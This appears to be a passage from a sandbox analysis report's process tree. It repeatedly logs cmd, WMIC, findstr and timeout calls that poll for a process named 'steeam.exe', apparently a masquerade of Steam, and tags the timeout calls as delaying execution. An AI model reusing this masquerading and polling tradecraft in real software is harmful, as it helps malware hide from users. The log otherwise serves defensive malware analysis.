C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5560

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6328

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6164

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6696

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6776

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6712

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:796

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4176

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6348

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3296

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5816

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4320

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6076

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6052

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6292

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6608

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6428

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6680

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6880

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2008

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6944

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6952

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6928

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6976

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6548

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5160

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4756

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6076

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2508

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5688

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6232

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5988

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6292

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6164

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6748

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3624

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4784

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2624

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3756

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6924

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6692

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6488

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2344

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6552

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5472

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:408

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4568

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3016

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5884

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4520

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2144

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5700

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6444

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6228

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6528

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7008

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3512

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2704

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:7052

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1404

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6568

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6672

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6208

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1056

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4332

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5828

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4036

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4520

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6068

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2508

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3172

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6752

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6648

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6748

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1312

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6192

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7132

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4956

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4724

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5932

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:7068

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7116

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3212

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5056

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5560

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4520

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5216

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5164

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1236

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6544

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4740

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5632

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6464

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4512

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2644

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6796

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6704

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3768

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6244

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5932

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6048

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1592

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5828

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4756

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5944

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6016

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4320

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:7108

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6656

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3140

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6468

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4256

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4888

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3212

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5156

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1912

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3632

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4784

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6696

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2416

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5328

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5616

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5892

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7108

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1524

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6632

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5128

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4408

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5968

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3140

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6504

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6700

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6588

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2520

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2404

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5628

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6976

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6944

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:7048

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5988

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5640

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7080

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1728

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5828

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2144

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5988

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3916

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4492

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:7152

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5992

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6616

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4344

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6196

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1848

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6552

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5632

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5656

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6656

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1912

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5500

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5892

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6948

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3728

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3512

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4596

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1384

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7092

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3448

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5532

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5960

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4224

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5560

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4168

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6772

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6520

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2344

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6184

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6900

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7136

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6972

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3172

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7128

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5232

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6632

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3780

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:944

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5784

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5284

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6960

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6468

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5540

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4316

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4224

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6488

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4536

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2588

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1728

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6128

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5816

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6680

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6220

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5232

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6704

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6100

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2520

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6608

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6468

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6860

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:4344

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5532

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4224

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3356

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3060

C:\Windows\system32\cmd.exe
